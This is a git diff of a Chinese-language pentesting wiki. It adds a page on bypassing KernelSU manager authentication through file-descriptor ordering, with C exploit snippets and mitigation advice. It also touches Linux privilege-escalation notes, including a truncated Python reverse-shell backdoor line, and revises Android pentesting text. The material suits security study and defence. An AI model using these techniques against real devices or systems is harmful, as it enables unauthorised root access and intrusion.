+SSH代理转发允许您**使用本地SSH密钥,而不是将密钥**(没有密码短语!)留在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机,**使用**位于您**初始主机**中的**密钥**。 您需要在`$HOME/.ssh.config`中设置此选项,如下所示: ``` @@ -1161,7 +1161,7 @@ ForwardAgent yes 注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一项安全问题)。 文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 +文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 如果您发现在某个环境中配置了 Forward Agent,请阅读以下页面,因为 **您可能能够利用它来提升权限**: @@ -1177,7 +1177,7 @@ ssh-forward-agent-exploitation.md ```bash ls -l /etc/profile /etc/profile.d/ ``` -如果发现任何奇怪的配置文件脚本,您应该检查其中是否包含**敏感细节**。 +如果发现任何奇怪的配置文件,您应该检查其中是否包含**敏感细节**。 ### Passwd/Shadow 文件 @@ -1291,8 +1291,8 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### 日志 -如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,可能越有趣。\ -此外,一些“**错误**”配置的(后门?)**审计日志**可能允许您**在审计日志中记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 +如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,它就越有趣(可能)。\ +此外,一些“**错误**”配置(后门?)的**审计日志**可能允许您**在审计日志中记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1312,14 +1312,14 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -您还应该检查文件名中或内容中包含“**password**”一词的文件,并检查日志中的IP和电子邮件,或哈希正则表达式。\ +您还应该检查包含“**password**”一词的文件,无论是在**名称**中还是在**内容**中,并检查日志中的IP和电子邮件,或哈希正则表达式。\ 我不会在这里列出如何做到这一切,但如果您感兴趣,可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)执行的最后检查。 ## Writable files ### Python library hijacking -如果您知道**从哪里**将要执行python脚本,并且您**可以在**该文件夹中写入或**修改python库**,您可以修改OS库并进行后门(如果您可以写入python脚本将要执行的位置,请复制并粘贴os.py库)。 +如果您知道**从哪里**将执行python脚本,并且您**可以在**该文件夹中写入或**修改python库**,您可以修改OS库并进行后门(如果您可以写入python脚本将要执行的位置,请复制并粘贴os.py库)。 要**对库进行后门**,只需在os.py库的末尾添加以下行(更改IP和端口): ```python @@ -1332,7 +1332,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s > [!TIP] > 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -有关该漏洞的更详细信息可以在此页面找到:[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 +有关该漏洞的更多详细信息,请访问此页面:[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 您可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 利用此漏洞。 @@ -1346,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s 网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器(dispatcher.d)进行 \~sourced\~。 -在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 +在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1356,11 +1356,11 @@ DEVICE=eth0 ``` ### **init, init.d, systemd 和 rc.d** -目录 `/etc/init.d` 是 **System V init (SysVinit)** 的 **脚本** 所在地,这是 **经典的 Linux 服务管理系统**。它包含用于 `启动`、`停止`、`重启`,有时还会 `重新加载` 服务的脚本。这些脚本可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中,另一个路径是 `/etc/rc.d/init.d`。 +目录 `/etc/init.d` 是 **System V init (SysVinit)** 的 **脚本** 所在地,这是 **经典的 Linux 服务管理系统**。它包含用于 `start`、`stop`、`restart` 和有时 `reload` 服务的脚本。这些脚本可以直接执行或通过在 `/etc/rc?.d/` 中找到的符号链接执行。在 Redhat 系统中,另一个路径是 `/etc/rc.d/init.d`。 -另一方面,`/etc/init` 与 **Upstart** 相关,这是由 Ubuntu 引入的较新的 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart,但由于 Upstart 中的兼容性层,SysVinit 脚本仍与 Upstart 配置一起使用。 +另一方面,`/etc/init` 与 **Upstart** 相关,这是由 Ubuntu 引入的较新 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart,但由于 Upstart 中的兼容层,SysVinit 脚本仍与 Upstart 配置一起使用。 -**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。 +**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化系统管理过程。 ## 其他技巧 @@ -1426,4 +1426,12 @@ cisco-vmanage.md - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) +## Android Rooting 框架:管理者通道滥用 + +Android Rooting 框架通常会钩住一个系统调用,以向用户空间管理器暴露特权内核功能。弱管理者身份验证(例如,基于 FD 顺序的签名检查或不良密码方案)可以使本地应用程序冒充管理者,并在已经获得 root 权限的设备上提升到 root。了解更多和利用细节: + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md new file mode 100644 index 000000000..616b174b9 --- /dev/null +++ b/src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -0,0 +1,190 @@ +# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse + +{{#include ../../banners/hacktricks-training.md}} + +像 KernelSU、APatch、SKRoot 和 Magisk 这样的 Root 框架经常会修补 Linux/Android 内核,并通过挂钩的系统调用向特权用户空间“管理”应用程序暴露特权功能。如果管理身份验证步骤存在缺陷,任何本地应用程序都可以访问此通道并在已经获得 root 权限的设备上提升特权。 + +本页面抽象了公共研究中发现的技术和陷阱(特别是 Zimperium 对 KernelSU v0.5.7 的分析),以帮助红队和蓝队理解攻击面、利用原语和稳健的缓解措施。 + +--- +## 架构模式:挂钩的系统调用管理通道 + +- 内核模块/补丁挂钩一个系统调用(通常是 prctl)以接收来自用户空间的“命令”。 +- 协议通常是:magic_value, command_id, arg_ptr/len ... +- 用户空间管理应用程序首先进行身份验证(例如,CMD_BECOME_MANAGER)。一旦内核将调用者标记为受信任的管理者,就会接受特权命令: +- 授予调用者 root 权限(例如,CMD_GRANT_ROOT) +- 管理 su 的允许列表/拒绝列表 +- 调整 SELinux 策略(例如,CMD_SET_SEPOLICY) +- 查询版本/配置 +- 由于任何应用程序都可以调用系统调用,因此管理身份验证的正确性至关重要。 + +示例(KernelSU 设计): +- 挂钩的系统调用:prctl +- 转发到 KernelSU 处理程序的魔法值:0xDEADBEEF +- 命令包括:CMD_BECOME_MANAGER, CMD_GET_VERSION, CMD_ALLOW_SU, CMD_SET_SEPOLICY, CMD_GRANT_ROOT 等。 + +--- +## KernelSU v0.5.7 身份验证流程(如实现) + +当用户空间调用 prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...) 时,KernelSU 验证: + +1) 路径前缀检查 +- 提供的路径必须以调用者 UID 的预期前缀开头,例如 /data/data/ 或 /data/user//。 +- 参考:core_hook.c (v0.5.7) 路径前缀逻辑。 + +2) 所有权检查 +- 路径必须由调用者 UID 拥有。 +- 参考:core_hook.c (v0.5.7) 所有权逻辑。 + +3) 通过 FD 表扫描进行 APK 签名检查 +- 遍历调用进程的打开文件描述符(FD)。 +- 选择第一个路径匹配 /data/app/*/base.apk 的文件。 +- 解析 APK v2 签名并与官方管理证书进行验证。 +- 参考:manager.c(遍历 FDs),apk_sign.c(APK v2 验证)。 + +如果所有检查通过,内核会暂时缓存管理者的 UID,并接受来自该 UID 的特权命令,直到重置。 + +--- +## 漏洞类别:信任“第一个匹配的 APK”来自 FD 迭代 + +如果签名检查绑定到在进程 FD 表中找到的“第一个匹配的 /data/app/*/base.apk”,则实际上并没有验证调用者自己的包。攻击者可以预先放置一个合法签名的 APK(真正的管理者的),使其在 FD 列表中比他们自己的 base.apk 更早出现。 + +这种间接信任使得一个非特权应用程序可以在没有拥有管理者签名密钥的情况下冒充管理者。 + +利用的关键属性: +- FD 扫描并不绑定到调用者的包身份;它仅仅是模式匹配路径字符串。 +- open() 返回最低可用的 FD。通过首先关闭低编号的 FD,攻击者可以控制顺序。 +- 过滤器仅检查路径是否匹配 /data/app/*/base.apk,而不是它是否对应于调用者的已安装包。 + +--- +## 攻击前提条件 + +- 设备已经被一个易受攻击的 Root 框架(例如,KernelSU v0.5.7)获得 root 权限。 +- 攻击者可以在本地运行任意非特权代码(Android 应用程序进程)。 +- 真实的管理者尚未进行身份验证(例如,在重启后)。一些框架在成功后缓存管理者 UID;你必须赢得这场竞赛。 + +--- +## 利用概述(KernelSU v0.5.7) + +高层步骤: +1) 构建一个有效的路径到你自己的应用数据目录,以满足前缀和所有权检查。 +2) 确保一个真正的 KernelSU 管理 base.apk 在一个低编号的 FD 上打开,低于你自己的 base.apk。 +3) 调用 prctl(0xDEADBEEF, CMD_BECOME_MANAGER, , ...) 以通过检查。 +4) 发出特权命令,如 CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY 以保持提升。 + +关于步骤 2(FD 排序)的实用说明: +- 通过遍历 /proc/self/fd 符号链接来识别你自己的 /data/app/*/base.apk 的 FD。 +- 关闭一个低 FD(例如,stdin,fd 0),并首先打开合法的管理 APK,以便它占据 fd 0(或任何低于你自己 base.apk fd 的索引)。 +- 将合法的管理 APK 与你的应用捆绑,以便其路径满足内核的简单过滤器。例如,将其放在匹配 /data/app/*/base.apk 的子路径下。 + +示例代码片段(Android/Linux,仅供说明): + +枚举打开的 FDs 以定位 base.apk 条目: +```c +#include +#include +#include +#include + +int find_first_baseapk_fd(char out_path[PATH_MAX]) { +DIR *d = opendir("/proc/self/fd"); +if (!d) return -1; +struct dirent *e; char link[PATH_MAX]; char p[PATH_MAX]; +int best_fd = -1; +while ((e = readdir(d))) { +if (e->d_name[0] == '.') continue; +int fd = atoi(e->d_name); +snprintf(link, sizeof(link), "/proc/self/fd/%d", fd); +ssize_t n = readlink(link, p, sizeof(p)-1); +if (n <= 0) continue; p[n] = '\0'; +if (strstr(p, "/data/app/") && strstr(p, "/base.apk")) { +if (best_fd < 0 || fd < best_fd) { +best_fd = fd; strncpy(out_path, p, PATH_MAX); +} +} +} +closedir(d); +return best_fd; // First (lowest) matching fd +} +``` +强制较低编号的文件描述符指向合法的管理器APK: +```c +#include +#include + +void preopen_legit_manager_lowfd(const char *legit_apk_path) { +// Reuse stdin (fd 0) if possible so the next open() returns 0 +close(0); +int fd = open(legit_apk_path, O_RDONLY); +(void)fd; // fd should now be 0 if available +} +``` +通过 prctl hook 进行管理者身份验证: +```c +#include +#include + +#define KSU_MAGIC 0xDEADBEEF +#define CMD_BECOME_MANAGER 0x100 // Placeholder; command IDs are framework-specific + +static inline long ksu_call(unsigned long cmd, unsigned long arg2, +unsigned long arg3, unsigned long arg4) { +return prctl(KSU_MAGIC, cmd, arg2, arg3, arg4); +} + +int become_manager(const char *my_data_dir) { +long result = -1; +// arg2: command, arg3: pointer to data path (userspace->kernel copy), arg4: optional result ptr +result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0); +return (int)result; +} +``` +成功后,特权命令(示例): +- CMD_GRANT_ROOT:将当前进程提升为root +- CMD_ALLOW_SU:将您的包/UID添加到持久su的白名单中 +- CMD_SET_SEPOLICY:根据框架的支持调整SELinux策略 + +竞态/持久性提示: +- 在AndroidManifest中注册BOOT_COMPLETED接收器(RECEIVE_BOOT_COMPLETED),以便在重启后尽早启动并在真实管理器之前尝试身份验证。 + +--- +## 检测和缓解指导 + +对于框架开发者: +- 将身份验证绑定到调用者的包/UID,而不是任意FD: +- 从UID解析调用者的包,并通过PackageManager验证与已安装包的签名,而不是扫描FD。 +- 如果仅限于内核,使用稳定的调用者身份(任务凭证),并在init/userspace助手管理的稳定真实来源上进行验证,而不是进程FD。 +- 避免将路径前缀检查作为身份;它们可以被调用者轻松满足。 +- 在通道上使用基于随机数的挑战-响应,并在启动或关键事件时清除任何缓存的管理器身份。 +- 在可行的情况下,考虑基于binder的认证IPC,而不是重载通用系统调用。 + +对于防御者/蓝队: +- 检测root框架和管理进程的存在;如果您有内核遥测,监控带有可疑魔法常量(例如,0xDEADBEEF)的prctl调用。 +- 在管理的设备上,阻止或警报来自不受信任包的启动接收器,这些接收器在启动后迅速尝试特权管理命令。 +- 确保设备更新到已修补的框架版本;在更新时使缓存的管理器ID失效。 + +攻击的局限性: +- 仅影响已经使用易受攻击框架root的设备。 +- 通常需要在合法管理器进行身份验证之前进行重启/竞态窗口(某些框架在重置之前缓存管理器UID)。 + +--- +## 各框架相关说明 + +- 基于密码的身份验证(例如,历史APatch/SKRoot构建)如果密码可猜测/暴力破解或验证存在缺陷,可能会很弱。 +- 基于包/签名的身份验证(例如,KernelSU)原则上更强,但必须绑定到实际调用者,而不是像FD扫描这样的间接伪影。 +- Magisk:CVE-2024-48336(MagiskEoP)显示,即使成熟的生态系统也可能容易受到身份欺骗,导致在管理器上下文中执行代码。 + +--- +## 参考文献 + +- [Zimperium – The Rooting of All Evil: Security Holes That Could Compromise Your Mobile Device](https://zimperium.com/blog/the-rooting-of-all-evil-security-holes-that-could-compromise-your-mobile-device) +- [KernelSU v0.5.7 – core_hook.c path checks (L193, L201)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/core_hook.c#L193) +- [KernelSU v0.5.7 – manager.c FD iteration/signature check (L43+)](https://github.com/tiann/KernelSU/blob/v0.5.7/kernel/manager.c#L43) +- [KernelSU – apk_sign.c APK v2 verification (main)](https://github.com/tiann/KernelSU/blob/main/kernel/apk_sign.c#L319) +- [KernelSU project](https://kernelsu.org/) +- [APatch](https://github.com/bmax121/APatch) +- [SKRoot](https://github.com/abcz316/SKRoot-linuxKernelRoot) +- [MagiskEoP – CVE-2024-48336](https://github.com/canyie/MagiskEoP) +- [KSU PoC demo video (Wistia)](https://zimperium-1.wistia.com/medias/ep1dg4t2qg?videoFoam=true) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 0c899a8a0..212be0420 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,35 +1,35 @@ -# Android 应用程序渗透测试 +# Android Applications Pentesting {{#include ../../banners/hacktricks-training.md}} -## Android 应用程序基础 +## Android Applications Basics -强烈建议您开始阅读此页面,以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**: +强烈建议您开始阅读此页面,以了解与Android安全性相关的**最重要部分和Android应用程序中最危险的组件**: {{#ref}} android-applications-basics.md {{#endref}} -## ADB (Android 调试桥) +## ADB (Android Debug Bridge) -这是您连接到 Android 设备(模拟或物理)的主要工具。\ -**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **文件的双向复制**、**应用程序的安装和卸载**、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。 +这是您连接到Android设备(模拟或物理)的主要工具。\ +**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使得**双向复制**文件、**安装**和**卸载**应用程序、**执行**shell命令、**备份**数据、**读取**日志等功能成为可能。 -查看以下 [**ADB 命令**](adb-commands.md) 列表,以了解如何使用 adb。 +请查看以下[**ADB命令**](adb-commands.md)列表,以了解如何使用adb。 ## Smali -有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\ -[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析期间的多项测试中可能非常有用**。因此,**始终记住这个可能性**。 +有时修改**应用程序代码**以访问**隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译apk、修改代码并重新编译可能会很有趣。\ +[**在本教程中**,您可以**学习如何反编译APK、修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析**期间作为**多项测试的替代方案**可能非常有用。然后,**始终记住这个可能性**。 -## 其他有趣的技巧 +## Other interesting tricks -- [在 Play 商店中伪装您的位置](spoofing-your-location-in-play-store.md) -- [Shizuku 特权 API(基于 ADB 的非根特权访问)](shizuku-privileged-api.md) -- [利用不安全的应用内更新机制](insecure-in-app-update-rce.md) -- [滥用无障碍服务(Android RAT)](accessibility-services-abuse.md) -- **下载 APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- 从设备提取 APK: +- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) +- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) +- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) +- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) +- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Extract APK from device: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -54,6 +54,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../ios-pentesting/air-keyboard-remote-input-injection.md {{#endref}} +{{#ref}} +../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + ## 静态分析 首先,分析 APK 时,您应该**查看 Java 代码**,使用反编译器。\ @@ -61,23 +65,23 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### 寻找有趣的信息 -仅查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。 +仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至寻找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。 **Firebase** -特别注意**firebase URLs**,检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### 应用程序的基本理解 - Manifest.xml, strings.xml -**检查应用程序的 _Manifest.xml_ 和 _strings.xml_ 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。 +**检查应用程序的 _Manifest.xml_ 和 **_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。 **从 _Manifest.xml_ 中识别的漏洞包括:** -- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考关于在设备上查找和利用可调试应用程序的教程。 -- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。 +- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。 +- **备份设置**:处理敏感信息的应用程序应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 未经授权的数据备份,尤其是在启用 USB 调试时。 - **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书钉扎和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。 - **导出活动和服务**:在清单中识别导出活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。 -- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。 +- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应受到审查。 - **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。 - **SDK 版本**:`minSdkVersion`、`targetSDKVersion` 和 `maxSdkVersion` 属性指示支持的 Android 版本,强调出于安全原因不支持过时、易受攻击的 Android 版本的重要性。 @@ -85,8 +89,8 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ### Tapjacking -**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**位于受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\ -实际上,它是**让用户不知道他们实际上是在对受害者应用程序执行操作**。 +**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\ +实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。 在这里找到更多信息: @@ -96,7 +100,7 @@ tapjacking.md ### 任务劫持 -一个**活动**如果**`launchMode`** 设置为 **`singleTask`** 且没有定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。 +一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。 更多信息在: @@ -108,12 +112,12 @@ android-task-hijacking.md **内部存储** -在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**,通常足以满足大多数应用程序的安全需求。然而,开发者有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。 +在 Android 中,**存储**在**内部**存储中的文件**设计**为仅由**创建**它们的**应用程序**访问。此安全措施由 Android 操作系统**强制**执行,通常足以满足大多数应用程序的安全需求。然而,开发者有时会使用 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 等模式来**允许**文件在不同应用程序之间**共享**。然而,这些模式**并不限制**其他应用程序(包括潜在恶意应用程序)对这些文件的访问。 1. **静态分析:** - **确保**仔细审查 `MODE_WORLD_READABLE` 和 `MODE_WORLD_WRITABLE` 的使用。这些模式**可能会暴露**文件给**意外或未经授权的访问**。 2. **动态分析:** -- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能构成重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。 +- **验证**应用程序创建的文件上的**权限**。具体来说,**检查**是否有任何文件被**设置为全球可读或可写**。这可能会带来重大安全风险,因为这将允许**任何安装在设备上的应用程序**,无论其来源或意图如何,**读取或修改**这些文件。 **外部存储** @@ -127,12 +131,12 @@ android-task-hijacking.md 3. **处理来自外部存储的数据**: - 始终对从外部存储检索的数据**执行输入验证**。这至关重要,因为数据来自不受信任的来源。 - 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。 -- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**经过签名和加密验证**。此步骤对于维护应用程序的安全完整性至关重要。 +- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**已签名并经过加密验证**。此步骤对于维护应用程序的安全完整性至关重要。 外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。 > [!TIP] -> 从 Android 4.4(**API 17**)开始,SD 卡具有目录结构,这**限制了应用程序对特定于该应用程序的目录的访问**。这防止恶意应用程序获得对其他应用程序文件的读写访问。 +> 从 Android 4.4(**API 17**)开始,SD 卡具有一个目录结构,**限制应用程序访问特定于该应用程序的目录**。这防止恶意应用程序获得对其他应用程序文件的读写访问。 **以明文存储的敏感数据** @@ -148,24 +152,24 @@ android-task-hijacking.md SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -测试此项的一个好方法是尝试使用像 Burp 这样的代理捕获流量,而不在设备中授权 Burp CA。此外,您还可以使用 Burp 为不同的主机名生成证书并使用它。 +测试此项的一个好方法是尝试使用一些代理(如 Burp)捕获流量,而不在设备中授权 Burp CA。此外,您还可以使用 Burp 为不同的主机名生成证书并使用它。 ### 破损的加密 **糟糕的密钥管理流程** -一些开发人员将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这是不应该这样做的,因为某些反向工程可能允许攻击者提取机密信息。 +一些开发人员将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这是不应该的,因为某些反向工程可能允许攻击者提取机密信息。 **使用不安全和/或过时的算法** -开发人员不应使用 **过时的算法** 来执行授权 **检查**、**存储** 或 **发送** 数据。这些算法包括:RC4、MD4、MD5、SHA1……如果 **哈希** 用于存储密码,例如,应该使用带盐的抗暴力破解的哈希。 +开发人员不应使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用带盐的抗暴力破解**哈希**。 ### 其他检查 -- 建议对 **APK 进行混淆**,以增加攻击者的反向工程难度。 -- 如果应用程序是敏感的(如银行应用),它应该执行 **自己的检查以查看手机是否已被 root** 并采取相应措施。 -- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用 **模拟器**。 -- 如果应用程序是敏感的(如银行应用),它应该 **在执行之前检查自身的完整性** 以确认是否被修改。 +- 建议**混淆 APK**,以增加攻击者的反向工程难度。 +- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被 root**,并采取相应措施。 +- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用**模拟器**。 +- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**,以检查是否被修改。 - 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器 ### React Native 应用程序 @@ -186,11 +190,11 @@ react-native-application.md ### 超级打包应用程序 -根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 